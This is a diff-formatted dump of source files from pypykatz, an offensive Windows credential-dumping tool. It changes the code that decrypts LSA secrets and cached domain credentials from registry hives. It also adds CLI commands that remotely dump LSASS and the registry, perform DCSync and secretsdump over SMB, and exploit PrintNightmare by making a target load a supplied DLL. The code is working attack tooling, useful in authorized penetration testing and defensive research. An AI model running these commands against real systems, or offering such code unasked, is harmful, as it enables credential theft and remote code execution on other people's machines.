9 from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
10 from pypykatz.crypto.des import *
11
5 from unicrypto import hashlib
6 from unicrypto import hmac
7 from unicrypto.symmetric import RC4, AES, MODE_CBC, DES, expand_DES_key
128
139 #####
14 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
10 import io
11 from pypykatz.registry.security.structures import LSA_SECRET, LSA_SECRET_BLOB, LSA_SECRET_XP, NL_RECORD
12 from pypykatz.registry.security.common import LSADCCSecret, LSASecret
1613 from pypykatz.registry import logger
17 from pypykatz.commons.common import hexdump
1814
1915 #
2016 # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine
2420 # as this functionality can be used by any service that wants to stroe some secret information
2521
2622 class SECURITY:
27 def __init__(self, security_hive, bootkey):
23 def __init__(self, security_hive, bootkey, system_hive = None):
2824 self.hive = security_hive
25 self.system_hive = system_hive
2926 self.bootkey = bootkey
3027
3128 self.dcc_iteration_count = 10240
5047 record = LSA_SECRET.from_bytes(data)
5148 key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
5249 secret_dec = b''
53 cipher = AESModeOfOperationECB(key)
50 cipher = AES(key)
5451 n = 16
5552 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
5653 if len(block) < n:
9592 for _ in range(0, len(value), 8):
9693 enc_blob = value[:8]
9794 des_key = expand_DES_key(t_key[:7])
98 ctx = des(des_key)
95 ctx = DES(des_key)
9996 dec_blob += ctx.decrypt(enc_blob)
10097 t_key = t_key[7:]
10198 value = value[8:]
119116 self.NKLM_key = b''
120117 record = LSA_SECRET.from_bytes(value[1])
121118 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
122 cipher = AESModeOfOperationECB(key)
119 cipher = AES(key)
123120 n = 16
124121 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
125122 if len(block) < n:
176173 # Encrypted
177174 if self.lsa_secret_key_vista_type is True:
178175 plaintext = b''
179 cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
176 cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV)
180177 n = 16
181178 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround
182179 if len(block) < 16:
184181 plaintext += cipher.decrypt(block)
185182
186183 else:
187 key = hmac.new(self.NKLM_key,record.IV).digest()
184 key = hmac.new(self.NKLM_key,record.IV, digestmod='md5').digest()
188185 cipher = RC4(key)
189186 plaintext = cipher.decrypt(record.EncryptedData)
190187
233230 record = LSA_SECRET.from_bytes(v[1])
234231 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
235232 secret_dec = b''
236 cipher = AESModeOfOperationECB(key)
233 cipher = AES(key)
237234 n = 16
238235 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
239236 if len(block) < n:
245242 else:
246243 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
247244
248 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
245 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
249246 if secret is not None:
250247 self.cached_secrets.append(secret)
251248
5757 await self.get_currentcontrol()
5858 await self.get_bootkey()
5959
60 async def get_service_user(self, service_name):
61 if self.currentcontrol is None:
62 await self.get_currentcontrol()
63
64 try:
65 key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
66 val = await self.hive.get_value(key)
67 return val[1].decode('utf-16-le')
68 except:
69 return None
70
6071 def to_dict(self):
6172 t = {}
6273 t['CurrentControlSet'] = self.currentcontrol
5555 def get_secrets(self):
5656 self.get_currentcontrol()
5757 self.get_bootkey()
58
58
59 def get_service_user(self, service_name):
60 if self.currentcontrol is None:
61 self.get_currentcontrol()
62
63 try:
64 key = '%s\\Services\\%s\\ObjectName' % (self.currentcontrol, service_name)
65 return self.hive.get_value(key)[1].decode('utf-16-le')
66 except:
67 return None
68
5969 def to_dict(self):
6070 t = {}
6171 t['CurrentControlSet'] = self.currentcontrol
33 # Tamas Jos (@skelsec)
44 #
55
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11
12 from pypykatz import logging
13 from pypykatz.commons.common import UniversalEncoder
14
15
6 import argparse
167
178 class RemoteCMDHelper:
189 def __init__(self):
19 self.live_keywords = ['share','session','localgroup']
10 self.live_keywords = ['smbapi']
2011 self.keywords = [] #['remote'] no yet implemented
2112
2213 def add_args(self, parser, live_parser):
23 live_group = live_parser.add_parser('share', help='Remote share relted operations')
24 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
25 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
26 live_group.add_argument('cmd', choices=['enum'])
27 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
28 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
29 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
30 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
14
15 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
16 live_smbapi_subparsers = live_subcommand_parser.add_subparsers(help = 'SMB via Windows API')
17 live_smbapi_subparsers.required = True
18 live_smbapi_subparsers.dest = 'livesmbapi'
19
20 live_smbapi_share = live_smbapi_subparsers.add_parser('share', help='Remote share relted operations')
21 live_smbapi_share.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
22 live_smbapi_share.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
23 live_smbapi_share.add_argument('op', choices=['enum'])
24 live_smbapi_share.add_argument('-f', '--target-file', help = 'Targets file, one per line')
25 live_smbapi_share.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
26 live_smbapi_share.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
27 live_smbapi_share.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
3128
32 live_group = live_parser.add_parser('session', help='Remote user sessions related operations')
33 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
34 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
35 live_group.add_argument('cmd', choices=['enum'])
36 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
37 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
38 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
39 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
29 live_smbapi_session = live_smbapi_subparsers.add_parser('session', help='Remote user sessions related operations')
30 live_smbapi_session.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
31 live_smbapi_session.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
32 live_smbapi_session.add_argument('op', choices=['enum'])
33 live_smbapi_session.add_argument('-f', '--target-file', help = 'Targets file, one per line')
34 live_smbapi_session.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
35 live_smbapi_session.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
36 live_smbapi_session.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
4037
41 live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations')
42 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
43 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
44 live_group.add_argument('cmd', choices=['enum'])
45 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
46 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
47 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
48 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
49 live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
38 live_smbapi_localgroup = live_smbapi_subparsers.add_parser('localgroup', help='Remote localgroup related operations')
39 live_smbapi_localgroup.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
40 live_smbapi_localgroup.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
41 live_smbapi_localgroup.add_argument('op', choices=['enum'])
42 live_smbapi_localgroup.add_argument('-f', '--target-file', help = 'Targets file, one per line')
43 live_smbapi_localgroup.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
44 live_smbapi_localgroup.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
45 live_smbapi_localgroup.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
46 live_smbapi_localgroup.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
5047
48 live_parser.add_parser('smbapi', help='SMB operations using the windows API', parents=[live_subcommand_parser])
5149
52 #group = parser.add_parser('registry', help='Get secrets from registry files')
50 #group = live_smbapi_subparsers.add_parser('registry', help='Get secrets from registry files')
5351 #group.add_argument('system', help='path to the SYSTEM registry hive')
5452 #group.add_argument('--sam', help='path to the SAM registry hive')
5553 #group.add_argument('--security', help='path to the SECURITY registry hive')
6866 pass
6967
7068 def run_live(self, args):
71 if args.module == 'share':
72 if args.cmd == 'enum':
69 if args.livesmbapi == 'share':
70 if args.op == 'enum':
7371 from pypykatz.remote.live.share.enumerator import ShareEnumerator
7472
7573 se = ShareEnumerator()
9694
9795 se.run()
9896
99 elif args.module == 'session':
100 if args.cmd == 'enum':
97 elif args.livesmbapi == 'session':
98 if args.op == 'enum':
10199 from pypykatz.remote.live.session.enumerator import SessionMonitor
102100
103101 se = SessionMonitor()
123121
124122 se.run()
125123
126 elif args.module == 'localgroup':
127 if args.cmd == 'enum':
124 elif args.livesmbapi == 'localgroup':
125 if args.op == 'enum':
128126 from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator
129127
130128 se = LocalGroupEnumerator()
88 import os
99 import json
1010 import ntpath
11 import asyncio
1112 import platform
1213 import argparse
1314 import base64
1415 import traceback
1516
16 from pypykatz import logging
17 from pypykatz import logger
1718 from pypykatz.commons.common import UniversalEncoder
1819 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
19 import asyncio
20
2021
2122 """
2223 This is a wrapper for aiosmb
4344 smb_subparsers.required = True
4445 smb_subparsers.dest = 'smb_module'
4546
46 smb_console_group = smb_subparsers.add_parser('console', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
47 smb_console_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
48 smb_console_group.add_argument('url', help="SMB connection string")
49 smb_console_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
47 smb_client_group = smb_subparsers.add_parser('client', help='SMB client. Use "help" instead of "-h" to get the available subcommands')
48 smb_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
49 smb_client_group.add_argument('url', help="SMB connection string")
50 smb_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
5051
5152 smb_lsassfile_group = smb_subparsers.add_parser('lsassfile', help='Parse a remote LSASS dump file.')
5253 smb_lsassfile_group.add_argument('url', help="SMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'")
5859 smb_lsassfile_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
5960
6061
61 smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Yes.')
62 smb_lsassdump_group = smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
6263 smb_lsassdump_group.add_argument('url', help="SMB connection string Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
63 smb_lsassdump_group.add_argument('-m','--method', choices=['taskexec'] , default = 'taskexec', help = 'Print credentials in JSON format')
64 smb_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
6465 smb_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
6566 smb_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
6667 smb_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
6768 smb_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
6869 smb_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
6970 smb_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
70
71 smb_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
72 smb_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
7173
7274
7375 smb_regfile_group = smb_subparsers.add_parser('regfile', help='Parse a remote registry hive dumps')
7981 smb_regfile_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
8082 smb_regfile_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
8183
82 smb_regsec_group = smb_subparsers.add_parser('regdump', help='Regsecrets')
84 smb_regsec_group = smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
8385 smb_regsec_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
8486 smb_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
8587 smb_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
88 smb_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
89 smb_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
90
8691
8792 smb_dcsync_group = smb_subparsers.add_parser('dcsync', help='DcSync')
88 smb_dcsync_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
93 smb_dcsync_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]'")
8994 smb_dcsync_group.add_argument('-u', '--username', help='taget username')
9095 smb_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
9196
9297 smb_secretsdump_group = smb_subparsers.add_parser('secretsdump', help='secretsdump')
93 smb_secretsdump_group.add_argument('url', help="SMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
98 smb_secretsdump_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
9499 smb_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
95100 smb_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
96101 smb_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
101106
102107
103108 smb_shareenum_parser = smb_subparsers.add_parser('shareenum', help = 'SMB share enumerator')
104 smb_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
105 smb_shareenum_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
106109 smb_shareenum_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
107110 smb_shareenum_parser.add_argument('--depth', type=int, default =3, help="Maximum level of folders to enum")
108111 smb_shareenum_parser.add_argument('--maxitems', type=int, default = None, help="Maximum number of items per forlder to enumerate")
121124 smb_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
122125 smb_shareenum_parser.add_argument('smb_url', help = 'SMB connection string. Credentials specified here will be used to perform the enumeration')
123126
127 printnightmare_group = smb_subparsers.add_parser('printnightmare', help='printnightmare')
128 printnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
129 printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
130 printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
131 printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
132
133 parprintnightmare_group = smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
134 parprintnightmare_group.add_argument('url', help="SMB connection string. Example: 'smb2+ntlm-password://TEST\\Administrator:[email protected]/'")
135 parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
136 parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
137 parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
124138
125139
126140
127141 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
128 live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome')
142 live_smb_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE SMB commands work under the current user context.')
129143 live_smb_subparsers.required = True
130144 live_smb_subparsers.dest = 'livesmbcommand'
131145
132 live_console_parser = live_smb_subparsers.add_parser('console', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
133 live_console_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
134 live_console_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
135 live_console_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
136 live_console_parser.add_argument('host', help='Target host to connect to')
137 live_console_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
138
146 live_client_parser = live_smb_subparsers.add_parser('client', help = 'SMB (live) client. Use "help" instead of "-h" to get the available subcommands')
147 live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
148 live_client_parser.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
149 live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
150 live_client_parser.add_argument('host', help='Target host to connect to')
151 live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
152
153 live_lsassdump_group = live_smb_subparsers.add_parser('lsassdump', help='Remotely dumps and parses LSASS')
154 live_lsassdump_group.add_argument('host', help='Target host to connect to')
155 live_lsassdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
156 live_lsassdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
157 live_lsassdump_group.add_argument('-m','--method', choices=['task', 'service'] , default = 'task', help = 'Print credentials in JSON format')
158 live_lsassdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
159 live_lsassdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
160 live_lsassdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
161 live_lsassdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
162 live_lsassdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
163 live_lsassdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
164 live_lsassdump_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
165 live_lsassdump_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
166
167 live_regsec_group = live_smb_subparsers.add_parser('regdump', help='Remotely dumps and parses registry')
168 live_regsec_group.add_argument('host', help='Target host to connect to')
169 live_regsec_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
170 live_regsec_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
171 live_regsec_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
172 live_regsec_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
173 live_regsec_group.add_argument('-w', '--worker-count', type=int, default = 10, help="Number of parallell enum workers. Always one worker/host")
174 live_regsec_group.add_argument('-t', '--target', nargs='*', help="Files/IPs/Hostnames for targets")
175
176 live_dcsync_group = live_smb_subparsers.add_parser('dcsync', help='DcSync')
177 live_dcsync_group.add_argument('host', help='Target host to connect to')
178 live_dcsync_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
179 live_dcsync_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
180 live_dcsync_group.add_argument('-u', '--username', help='taget username')
181 live_dcsync_group.add_argument('-o', '--outfile', help = 'Save results to file')
182
183 live_secretsdump_group = live_smb_subparsers.add_parser('secretsdump', help='secretsdump')
184 live_secretsdump_group.add_argument('host', help='Target host to connect to')
185 live_secretsdump_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
186 live_secretsdump_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
187 live_secretsdump_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
188 live_secretsdump_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
189 live_secretsdump_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
190 live_secretsdump_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
191 live_secretsdump_group.add_argument('--chunksize', type=int, default=64*1024, help = 'Chunksize for file data retrival')
192 live_secretsdump_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse')
139193
140194 live_shareenum_parser = live_smb_subparsers.add_parser('shareenum', help = 'SMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.')
141195 live_shareenum_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
157211 live_shareenum_parser.add_argument('--ed', '--exclude-dir', nargs='*', help = 'Exclude directories with name specified')
158212 live_shareenum_parser.add_argument('--et', '--exclude-target', nargs='*', help = 'Exclude hosts from enumeration')
159213
214 live_printnightmare_group = live_smb_subparsers.add_parser('printnightmare', help='printnightmare')
215 live_printnightmare_group.add_argument('host', help='Target host to connect to')
216 live_printnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
217 live_printnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
218 live_printnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
219
220 live_parprintnightmare_group = live_smb_subparsers.add_parser('parprintnightmare', help='par printnightmare')
221 live_parprintnightmare_group.add_argument('host', help='Target host to connect to')
222 live_parprintnightmare_group.add_argument('dllpath', help='Path to the DLL to be loaded by the remote host. Either UNC (\\\\<ip>\\path\\to\\dll.dll) or Full file path on the remote computer (C:\\path\\to\\dll.dll). Latter is useful if you have write permissions on the remote machine')
223 live_parprintnightmare_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'kerberos', help= 'Authentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!')
224 live_parprintnightmare_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.')
160225
161226 live_group = live_parser.add_parser('smb', help='SMB (live) commands', epilog=smb_live_epilog, parents=[live_subcommand_parser])
162227
174239 raise Exception('Live commands only work on Windows!')
175240
176241 from aiosmb import logger as smblog
242 from winacl.functions.highlevel import get_logon_info
243
244 info = get_logon_info()
245 if args.livesmbcommand != 'shareenum':
246 smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
177247
178248 if args.verbose == 0:
179249 smblog.setLevel(100)
180250 elif args.verbose == 1:
181 smblog.setLevel(level=logging.INFO)
251 smblog.setLevel(level=logger.INFO)
182252 else:
183253 level = 5 - args.verbose
184254 smblog.setLevel(level=level)
185255
186 if args.livesmbcommand == 'console':
256 if args.livesmbcommand == 'client':
187257 from aiosmb.examples.smbclient import amain
188 from winacl.functions.highlevel import get_logon_info
189 info = get_logon_info()
258
259
190260 la = SMBCMDArgs()
191 la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)
261 la.smb_url = smb_url
192262 la.verbose = args.verbose
193263
194264 if args.commands is not None and len(args.commands) > 0:
203273 la.commands.append(command)
204274
205275 await amain(la)
276
277
278 elif args.livesmbcommand == 'lsassdump':
279 from pypykatz.smb.lsassutils import lsassdump
280 tmimis = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages, method = args.method)
281 for tid, mimi, err in tmimis:
282 if err is not None:
283 print('ERROR: %s' % err)
284 self.process_results({'smbfile':mimi}, [], args)
285
286 elif args.livesmbcommand == 'secretsdump':
287 from pypykatz.smb.lsassutils import lsassdump
288 from pypykatz.smb.regutils import regdump
289 from pypykatz.smb.dcsync import dcsync
290
291 try:
292 mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages)
293 if mimi is not None:
294 self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
295 except Exception as e:
296 logger.exception('[SECRETSDUMP] Failed to get LSASS secrets')
297
298 try:
299 po = await regdump(smb_url)
300 if po is not None:
301 if args.outfile:
302 po.to_file(args.outfile+'_registry.txt', args.json)
303 else:
304 if args.json:
305 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
306 else:
307 print(str(po))
308 except Exception as e:
309 logger.exception('[SECRETSDUMP] Failed to get registry secrets')
310
311
312 try:
313 if args.outfile is not None:
314 outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '')
315
316 async for secret in dcsync(smb_url):
317 if args.outfile is not None:
318 outfile.write(str(secret))
319 else:
320 print(str(secret))
321
322 except Exception as e:
323 logger.exception('[SECRETSDUMP] Failed to perform DCSYNC')
324 finally:
325 if args.outfile is not None:
326 outfile.close()
327
328 elif args.livesmbcommand == 'dcsync':
329 from pypykatz.smb.dcsync import dcsync
330
331 if args.outfile is not None:
332 outfile = open(args.outfile, 'w', newline = '')
333
334 async for secret in dcsync(smb_url, args.username):
335 if args.outfile is not None:
336 outfile.write(str(secret))
337 else:
338 print(str(secret))
339
340 if args.outfile is not None:
341 outfile.close()
342
343 elif args.livesmbcommand == 'regdump':
344 from pypykatz.smb.regutils import regdump
345 po = await regdump(smb_url)
346
347 if po is not None:
348 if args.outfile:
349 po.to_file(args.outfile, args.json)
350 else:
351 if args.json:
352 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
353 else:
354 print(str(po))
355
356 elif args.livesmbcommand == 'parprintnightmare':
357 from pypykatz.smb.printer import parprintnightmare
358 _, err = await parprintnightmare(smb_url, args.dllpath)
359 if err is not None:
360 print('Parprintnightmare failed! %s' % err)
361 return
362 print('Parprintnightmare OK!')
363
364 elif args.livesmbcommand == 'printnightmare':
365 from pypykatz.smb.printer import printnightmare
366 _, err = await printnightmare(smb_url, args.dllpath)
367 if err is not None:
368 print('Printnightmare failed! %s' % err)
369 return
370 print('Printnightmare OK!')
206371
